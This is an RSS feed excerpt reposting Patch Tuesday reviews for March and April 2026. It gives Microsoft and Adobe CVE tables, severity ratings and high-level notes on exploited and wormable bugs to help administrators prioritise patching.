  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
